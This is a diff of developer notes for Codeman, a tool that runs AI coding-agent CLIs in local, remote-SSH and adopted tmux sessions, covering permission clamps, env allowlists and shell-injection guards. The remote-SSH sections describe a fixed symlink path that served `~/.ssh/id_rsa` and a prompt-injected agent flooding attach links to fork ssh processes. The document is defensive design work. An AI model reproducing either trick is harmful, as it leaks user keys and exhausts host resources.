Unlike the other three it is NOT an npm package (standalone binary, `~/.local/bin/agy`), which is why `docker/agent.Dockerfile` installs it with its own `--dir /usr/local/bin` step rather than in the `npm install -g` line, and why it does NOT join `isAltScreenStripMode()`. Frontend: run-mode dropdown → `runCodex()`/`runGemini()` in `session-ui.js` ("Run CX"/"Run GM" labels), App Settings → Agents & CLIs → Codex; Respawn/Ralph options are Claude-only, so session options open on the Session tab for external CLI sessions. ⚠️ `run*()` MUST unwrap the `{success,data}` envelope (`(await res.json()).data.available` / `data.data.sessionId`) — reading the raw shape silently breaks the run. Tests: `test/run-mode-ui.test.ts` + `test/gemini-mode.test.ts` (vm-sandbox harness, no real DOM). Grok specifics: command built by `buildGrokCommand()` (`--always-approve` from `grokConfig.alwaysApprove` — grok's `bypassPermissions` permission mode, deny rules still apply; `--model`; `--resume <id>` / `--continue`, id-regexed so grok's resume-by-TITLE feature can never put an arbitrary string on the spawn line); availability via `GET /api/grok/status`, which carries `version` because the resolver version-probes candidates (`grok` has npm squatters, e.g. @vibe-kit/grok-cli — `GROK_VERSION_REGEX` is shared with the dependency registry so doctor and run mode agree). Like antigravity it is a standalone binary (xAI installer → `~/.grok/bin`, symlinked into `~/.local/bin`), so `docker/agent.Dockerfile` installs it in its own step (copy to `/usr/local/bin`, drop root's `~/.grok` in the same layer) and it stays OUT of `isAltScreenStripMode()` (fuLine truncated
 
 **DeepSeek Harness (`dsh`) specifics** — the mode that breaks three of the assumptions the six above share, so read this before changing anything about it.
 
@@ -61,7 +61,7 @@ Pure helpers unit-tested in `test/base-path.test.ts` + `test/webview-proxy.test.
 
 Model is NOT a session field: it is a composition entry in the profile's config tree (`agent-default-model`), configured in `~/.dsh/settings.yaml` + `cordis.patch.yml`, so both create paths deliberately resolve no model for this mode. Env allowlist: `DSH_*` + `DEEPSEEK_*`; provider keys named by a settings-file `apiKeyEnv` stay OUT, which is pi's 34-provider-key problem in a new shape and gets the same answer. Docker seeds `~/.dsh` per-file (`.env`, `settings.yaml`, `cordis.patch.yml`) and the image installs its OWN profile, because `profiles/` is a per-profile `node_modules` tree — host-arch-specific and far too large to copy per container start. Stays OUT of `isAltScreenStripMode()` (third-party fullscreen TUI — the opencode case, i.e. `isMuxMouseStripMode` is the shape to measure here too). ⚠️ `classifyProfile()` reads the profile's BUNDLES, and "unknown means launchable" is deliberate (anyone can publish an app bundle), but it has one knowably-wrong case: `readProfile()` returns an empty bundle list for a `package.json` with no `dsh.profile.bundles`, which made the SHIPPED `web`/`headless` profiles look third-party and launchable. The directory name is therefore consulted as a LAST resort (`STOCK_NON_INTERACTIVE_PROFILES`), after the bundle patterns, so real bundle evidence always wins over a name the user chose. The loose `tui` arm carries word boundaries for the same reason: it decides which profile boots by default, and matching the middle of `intuition` is not a rule anyone could predict. ⚠️ The generated shim is written **temp + rename**, not in place: the TUI can be exec'ing that exact path while an upgraded Codeman refreshes it, and a half-written file is a syntax error the caller then retries four times per state change forever. Bump `SHIM_VERSION` whenever `SHIM_SOURCE` changes, or an existing shim keeps matching the embedded marker and is never refreshed. Availability via `GET /api/deepseek/status`, the widest per-CLI status shape (`available`/`runnable`/`path`/`version`/`dshHome`/`defaultProfile`/`profiles`); `POST /api/deepseek/install-profile` bootstraps a profile and is the only endpoint in Codeman that installs third-party code — regex-confined specifier, argv-array spawn, privileged grant required in multi-user mode, and the held-open request is bounded by a HAND-ROLLED timeout over a `detached: true` process group (negative-pid SIGTERM→SIGKILL, as `runGit()` does in git-clone.ts). ⚠️ Node's own `spawn` `timeout` is NOT enough: a plugin install fans out into package-manager children, the built-in timeout signals only the direct child, and the survivors hold the inherited stdio pipes open so `close` never fires and the request leaks forever. User guide: `docs/deepseek-integration.md`. Tests: `test/deepseek-mode.test.ts`, `test/deepseek-cli-resolver.test.ts`.
 
-**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: its default TUI renders into the main screen with terminal-owned scrollback (nothing to strip), and since 0.84.0 the user can flip to a fullscreen TUI at runtime via `/settings`, where the alt screen is load-bearing — being out of the list is exactly what makes that switch safe. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
+**Pi specifics** (#206, `docs/pi-integration.md`): command built by `buildPiCommand()` (`--model` — the only builder whose model regex admits `:` and `/`, for `sonnet:high` and `openai/gpt-4o` — plus `--provider`, `--thinking`, `--session <id>` / `-c`, and the TRI-STATE `--approve`/`--no-approve`). ⚠️ **Pi has no permission prompts and no sandbox**, so there is no `--dangerously-skip-permissions` analog and Codeman must not invent one; the privilege-shaped knob is `approveProjectTrust`, which makes pi LOAD AND EXECUTE repo-local `.pi/extensions` TypeScript and npm-install missing project packages. It therefore joins `clampExternalCliBypassForOwner()`'s **materialize** branch (gemini's, not codex/antigravity's only-if-sent one): an absent config still yields `--no-approve` for a non-granted owner, because pi's own default is an interactive prompt the session user could answer themselves. ⚠️ `--api-key` is NEVER wired — it would put a provider secret on the spawn command line. ⚠️ Pi stays **out** of `isAltScreenStripMode()`: it takes the mouse strip instead, because its TUI is fullscreen by default since 1.0.0 (`tuiMode`) and inline with terminal-owned scrollback under `tuiMode: regular`, the default below 1.0.0, so the full strip's `3J` removal would have no owner in the second shape. See "Pi is the same shape" in the scrollback section. ⚠️ Only the `PI_*` env prefix was added; pi's ~34 provider keys share no prefix and `ALLOWED_ENV_PREFIXES` is a single GLOBAL list with no mode context, so admitting them would widen the allowlist for every mode at once (a mode-aware allowlist is the tracked follow-up). ⚠️ `pi` is a short, GENERIC binary name, so unlike the sibling resolvers `pi-cli-resolver.ts` sanity-probes `pi --version` (cached, vitest-skipped) and requires semver-shaped output; `GET /api/pi/status` carries `version` on top of the sibling `{available, path}` shape so a misresolution is diagnosable. Local echo: pi lands on the `'buffer'` overlay via the fallthrough in `_updateLocalEchoState` (pinned in `test/local-echo-codex-gating.test.ts`); if pi's live composer turns out to fight it the way codex's did, the fallback is one `'off'` branch. Tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts` (first-ever coverage of the clamp).
 
 **OMP (`omp`, Oh My Pi) specifics** (`docs/omp-integration.md`): architecturally the simplest of the family — omp owns its own auth, provider routing, and trust decisions entirely in `~/.omp` config files (default `tools.approvalMode: yolo`), so `buildOmpCommand()` only ever emits `--model`/`--resume <id>`/`--continue`, and there is no bypass-permissions flag for Codeman to wire or clamp. ⚠️ **That does NOT make the multi-user clamp a no-op**: `OMP_*` is an allowlisted `envOverrides` prefix and admits `OMP_AUTH_BROKER_URL`/`OMP_AUTH_BROKER_TOKEN` (where omp resolves credentials from), both dropped for a non-granted owner in `clampEnvOverridesForOwner()` — the same shape as `DEEPSEEK_BASE_URL` — even though, unlike DeepSeek, Codeman forwards no operator-held key into an omp pane today (found in Ark0N/Codeman#353 review). `--continue` alone is ambiguous the moment any other omp conversation has touched the same working directory more recently, since it just picks the newest session file on disk — `resolveAndClaimOmpSessionId()` (`src/utils/omp-session-resolver.ts`) resolves and PINS the real id instead, verifying each candidate's own file header (`{"type":"session","id",cwd"}`, not just the mangled-directory match) and tracking already-claimed ids in a process-wide registry so two omp tabs in the same case dir can't alias onto each other's conversation. ⚠️ Resolution/pinning happens ONLY at the point a respawn is actually confirmed (`_pinOmpRespawnId()`, called from `_setupOrAttachMuxSession()`'s dead-pane branch and `reattachRemote()`) — earlier code resolved eagerly while merely building respawn options, which could mis-pin a still-ALIVE session's id purely from boot-recovery timing. `src/omp-transcript.ts` independently scans `~/.omp/agent/sessions/**/*.jsonl` for Past Sessions history, the omp analog of Claude's own transcript scan, so a conversation survives even a full "Kill Tmux". ⚠️ omp's own env knobs are mostly `PI_*`, not `OMP_*` (`PI_CONFIG_DIR`, `PI_CODING_AGENT_DIR`, `PI_CODING_AGENT_SESSION_DIR`, `PI_SUBPROCESS_CMD`, `PI_SHELL_PREFIX`), and `PI_*` is already allowlisted globally for pi — so a redirected `PI_CONFIG_DIR` silently moves the `~/.omp` tree the resolver and transcript scanner hardcode, degrading pinning/history with no error; a known gap shared with pi, not fixed here. ⚠️ Docker: `appendResumeFlag()`'s `case 'omp'` keys off the top-level `resumeSessionId`, which Docker panes never receive for omp (built from `defaultDockerCommandForMode`, with no `ompConfig` threaded through) — host-side history recovery and pinning work through the shared `sessions/` mount, but `--resume` does not currently reach an in-container omp process on respawn (flagged in review, not yet fixed). Stays out of `isAltScreenStripMode()` (narrow scrollback strip, alt-screen toggles only) and lands on the `'buffer'` local-echo policy via the `_updateLocalEchoState` fallthrough, same as grok and pi. Resolver: `omp-cli-resolver.ts` version-probes like pi/grok (`omp` is a short, generic name) and requires `omp/<semver>`-shaped output; `OMP_SEARCH_DIRS` leads with `~/.local/bin` (omp.sh's installer targets `$HOME/.local/bin` with no `--dir` override — verified against a real `--no-cache` Docker build, `~/.omp/bin` was the wrong first guess). Tests: `test/omp-mode.test.ts`, `test/omp-cli-resolver.test.ts`, `test/omp-session-resolver.test.ts`, `test/omp-fresh-run-no-resume.test.ts`.
 
@@ -81,20 +81,38 @@ OMP's registry entry declares `privilegedParams: []` and a launch spec that only
 
 Further detail: ⚠️ **Auto-reconnect revives ONLY when the durable remote tmux session is verifiably still alive** (`remoteTmuxSessionAlive()`, a `has-session` probe over ssh, #355): a clean agent exit (Ctrl-C, Ctrl-D, `exit`) tears that session down, and `isPaneDead()` cannot tell it from a transport drop, so the watcher used to relaunch a FRESH agent after every clean exit (claude only looked fine because its `|| --resume` fallback masked it). An unreachable host answers `undefined`, which also means do not revive. ⚠️ `has-session` prints NOTHING on success, so the probe is classified by EXIT STATUS (`classifyRemoteAliveExit`: 0 alive, ssh's 255 or a timeout unknown, anything else gone); reading stdout classified every live session as gone and silently disabled transport-drop reconnects. The answer is cached per session and forgotten whenever the pane is seen alive again, or a stale `true` from one transport drop would revive the next clean exit.
 
-⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk. ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
+⚠️ The image watcher never watches a remote session's `workingDir` (a path on the remote host, which it would watch on the LOCAL disk): every call site that starts a watch skips `session.remote` (`setupSessionListeners()`, the app-wide toggle in `PUT /api/settings`, and `POST /api/sessions/:id/image-watcher`, which refuses `enabled: true` with `INVALID_INPUT`), so a new call site must too. File reads in a remote case are the second ssh surface (see Remote SSH cases below). The reason writes, office previews and thumbnails are deliberately unsupported over ssh is that no remote file is ever copied onto the server's disk; the one exception is the Edit history store, which keeps the diffs parsed from a remote session's transcripts under `dataPath('edit-history')` (see [Edit history panel](#edit-history-panel)). ssh children are bounded because terminal output in a remote session is written on the remote host, so a prompt-injected agent there can print hundreds of `codeman://attach` links. The third surface is a remote session's full-history load, which reads the scrollback from the remote tmux (`src/remote-pane-history.ts`) through the same limiter, with a bounded slot wait (`maxWaitMs`) since the local capture is its fallback.
 
 ### Remote SSH cases
 
 **Remote host wake-on-LAN from user input**: an optional `RemoteHost.wakeMac` (magic packet built and broadcast by Codeman) or `RemoteHost.wakeCommand` (a single executable path, run WITHOUT a shell, and the explicit override) lets the input route — and an explicit `POST /api/sessions/:id/wake` — wake a SLEEPING host instead of writing into a stalled ssh pane; `tmux send-keys` succeeds against a stalled pane, so the bytes used to vanish silently. The wake flow lives in `src/remote-wake.ts` and is reachable **only** from an EXPLICIT user request: `POST /api/sessions/:id/input`, that explicit wake route, and the create/attach path (`POST /api/quick-start` for a remote case, `POST /api/sessions` with `attachRemoteSession`, via `ensureHostAwake`), because "the user pressed Run on a sleeping host" is the same kind of request and the tmux probe would otherwise fail with a misleading "needs tmux installed". Everything TIMER-driven must never wake a host: the COD-108 auto-reconnect watcher, `Server.handleRemoteSessionDropped` and boot recovery have no access to the registry, or a host would be re-woken seconds after each suspend and could never stay asleep (asserted by wiring guards in `test/remote-wake.test.ts`, not just documented — including that `ensureHostAwake` is called from the HTTP route only, since `cron-service.ts` builds sessions through the shared service with nobody waiting on the answer). `GET /api/sessions/:id/reachability` only ASKS — it never wakes — and feeds the amber "host unreachable" banner (`host-wake-ui.js`) whose action is either Wake or, with no target configured, "Configure WoL" → `#wakeConfigModal` (saved via `PUT /api/remote-hosts/:id`). Detection is a throttled bare TCP probe (no ssh, no `ServerAliveInterval` — keepalives would move bytes into an idle connection every interval; and a host behind a jump host/SOCKS proxy is reachability-UNKNOWN, never "asleep": `isProbeable()` keeps the registry from buffering, gating or bannering on a probe that cannot reach it), input is buffered and flushed in order after `reattachRemote()` (the send-and-wait path blocks instead, as does the create path, with a shorter request budget), and the wake fields are re-read from `remote-hosts.json` on recovery AND (throttled, cached) live for a running session, because the persisted `remote` snapshot would never see a field added later (`rehydrateRemoteHostFields` + `RemoteWakeDeps.resolveRemote`). Design + invariants: `docs/remote-sessions.md` §Wake-on-LAN from user input.
 
-**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases` — cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>` — deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks/`$` rejected — same approach as `extraSshOptions`); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates) — `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string — the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths — a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string — the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined with the shared `isPathWithinRoot`, capped at 1 MB; missing or outside theLine truncated
+**Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases`, cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks and `$` rejected; `extraSshOptions` refuses backticks and `$(` only, so a bare `$` passes there and reaches `ssh` as those literal characters); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates): `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string: the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths: a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string: the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined wiLine truncated
 
-**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
+**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch, and an adopted ssh attach with it, goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
 
 Further wake-on-LAN detail: the wiring guards in `test/remote-wake.test.ts` are two; the second also pins that `server.ts` holds the registry for its LIFETIME only (`drop` on cleanup, `stop` on shutdown) and never calls a waking method. The create wake is wired in the route rather than the shared session service for exactly the no-timer-wakes reason. No `ServerAliveInterval`, because keepalives move bytes into an idle connection every interval and that is what a byte-threshold idle detector must not read as activity. For a host behind `jumpHost`/`socksProxy`/a `ProxyCommand` option, the probe connects to `host:port`, which such a host does not answer even while ssh works; the registry never gates create/attach on it (`'unprobeable'`), and `/reachability` answers `reachable: null, probeable: false`. The banner keys on a PROVEN `false`, and the banner's 30 s poller runs only for a host with a wake target (a timer connecting to a host Codeman cannot wake is the same timer-driven traffic the keepalive rule forbids).
 
 Input arriving during a wake is buffered: a chunk over 4 KB is dropped whole, never delivered as a fragment, and the route answers `{buffered:true}` / `{buffered:true, dropped:true}` so the caller can tell. It is flushed in order after `reattachRemote()` with `fromUser`; a flush write that fails drops the rest (logged) rather than retaining it for a wake hours later. Send-and-wait blocks instead and answers `OPERATION_FAILED` when the host never returns. ⚠️ In multi-user mode the attach path 403s a non-admin BEFORE the host is looked up: the wake runs an executable, and remote hosts are admin-only infra everywhere else. ⚠️ Browser keystrokes travel over the WebSocket, which deliberately does NOT pass through the registry (that is the hot path), so only the HTTP input path ever queues anything; the banner must not promise queued input for the Wake button. A request that waits on the wake (create/attach, and the button) uses the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`, not the 90 s session default, because the dashboard's reverse proxy cuts a request at its own 60 s `proxy_read_timeout`. The `remote:` SSE family is session-scoped in multi-user mode; a create/attach wake names its requester (`username`) since it has no session yet. `remote-wake.ts` refuses real IO under `VITEST` like `remote-files.ts`.
 
+### Adopted foreign tmux sessions
+
+**Adopted sessions** (#510; `src/foreign-tmux.ts` pure, `src/foreign-tmux-discovery.ts` transport, `foreign-sessions.js`, `GET /api/mux/foreign`, `POST /api/sessions/adopt`): a tmux session a human started is listed on the home screen, and one click wraps it in a tab. Like remote-SSH and Docker it is a **LOCATION OVERLAY**, never a `SessionMode`: `Session.adopt` carries the connection, the mode comes from a bounded walk of the pane's process tree, and `Session.isAdopted` asks who launched the process, a different question from `isExternalCliMode()`, which is why the two are never folded together.
+
+**The wrapper.** Adoption creates an ordinary `codeman-<8hex>` session on Codeman's own socket whose pane runs the attach, so `killSession` can only ever reach the wrapper and no shape of caller bug reaches the foreign server. The attach joins as a grouped `codeman-view-<id>` session with `status off` and `destroy-unattached on`. ⚠️ `new-session -t` does not fail on a missing target, it invents one (measured on tmux 3.4: joined `work-prod`, or made a fresh shell, or started a server on an empty socket), so an exact `has-session -t '=<name>'` guards it. The `=` cannot stand in for that guard on `new-session -t`, where a missing target makes a group literally called `=<name>`. ⚠️ The guard only holds for a name both commands read as a name, so a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`: a leading `=`, `@` or `%`, or a bare `~`) is refused at discovery: measured on tmux 3.4, `@1` joined the session holding window `@1` and input typed in the tab reached it, and `=eq` made a new group with a fresh shell. A `command -v tmux` runs first, because the guard fires on any failure and "tmux is not on this PATH" must not read as "your session is gone". The client is `tmux -u`, or a POSIX-locale container garbles the tab, and the probe's `list-panes` is too, or a name reads as underscores the guard then cannot find. A `docker exec` outlives its client, so that view is killed explicitly on close. ⚠️ Nothing is ever set on the foreign server beyond our own view: not `window-size` (a window option on a shared window, it survives our detach) and not the prefix table (server-wide, unlike `nestedPrefixTableResetCommands` on the servers Codeman runs itself). ⚠️ While the view exists an owner's `kill-session` leaves the window alive under it until the tab closes. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start: `startShell()`'s new-session `clear\n` submitted whatever the owner had half-typed (measured) until it was gated on `!this._adopt`, and the trust-dialog auto-accept stays off for the same reason. `shell` is also the classifier's answer for anything it cannot name, such as vim or psql.
+
+**Names are the injection surface.** A session name is chosen by someone else and several shells parse the attach line on its way to tmux; in `bash -c "<JSON>"`, the form it first crossed, `$` and backticks were live. Names and socket paths pass an allowlist at DISCOVERY, so a bad one gets no id and the adopt route, which re-resolves through discovery, can only 404. The ssh probe and attach run in an explicit `sh` behind `withRemoteTmuxPath()`, since the guard chain is POSIX and the login shell may be fish. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, the path a remote or docker launch takes (#760), never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on THIS host and a tmux in the remote `~/.local/bin` is found by discovery and missed by the attach. Single quotes also keep a real newline, which JSON escaping left as the two characters `\n`. That closes the first shell only, so the discovery allowlist stays. `test/tmux-manager.test.ts` compares what bash receives with the built line at create and at respawn, for all three locations. Docker discovery spawns `dockerEngineArgv()`, never the shell-quoted `buildDockerBaseArgs()`.
+
